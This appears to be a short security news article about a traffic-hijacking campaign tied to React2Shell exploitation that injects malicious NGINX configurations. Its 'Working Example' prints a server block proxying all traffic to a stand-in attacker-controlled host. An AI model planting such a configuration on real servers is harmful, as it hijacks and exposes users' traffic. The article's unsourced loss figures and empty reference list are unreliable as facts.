Malicious NGINX Configurations Enable Large-Scale Web Traffic Hijacking Campaign

The recent React2Shell exploitation campaign has been found to use malicious NGINX configurations to hijack web traffic, with threat actors targeting NGINX installations and management panels like Baota, resulting in a significant impact on web traffic management. The campaign, which has been observed by Datadog Security Labs, involves the use of shell scripts to inject malicious configurations into NGINX, allowing attackers to redirect web traffic to domains under their control.

Why This Matters

The technical reality of web traffic hijacking campaigns like React2Shell highlights the disparity between ideal security models and real-world vulnerabilities, with the campaign’s success attributed to the exploitation of CVE-2025-55182, a vulnerability with a CVSS score of 10.0, resulting in significant financial losses and compromised user data, with potential costs estimated in the millions of dollars.

Key Insights

1,083 unique source IP addresses were involved in React2Shell exploitation between January 26 and February 2, 2026, according to GreyNoise.
The use of shell scripts to inject malicious configurations into NGINX demonstrates the effectiveness of exploiting vulnerabilities in web traffic management systems, such as NGINX, for malicious purposes.
Datadog Security Labs’ research highlights the importance of monitoring and securing NGINX configurations to prevent web traffic hijacking, with tools like Datadog’s security platform being used by companies like Stripe and Coinbase.

Working Example

# Example of a malicious NGINX configuration
http {
    ...
    server {
        listen 80;
        location / {
            proxy_pass http://attacker-controlled-backend-server;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
}

Practical Applications

Use Case: Companies like Baota Panel and government agencies with NGINX installations can implement security measures to prevent web traffic hijacking, such as monitoring NGINX configurations and using security tools to detect malicious activity.
Pitfall: Failing to secure NGINX configurations can result in significant financial losses and compromised user data, highlighting the importance of prioritizing cybersecurity and implementing robust security measures.

References:

On This Page

Malicious NGINX Configurations Enable Large-Scale Web Traffic Hijacking Campaign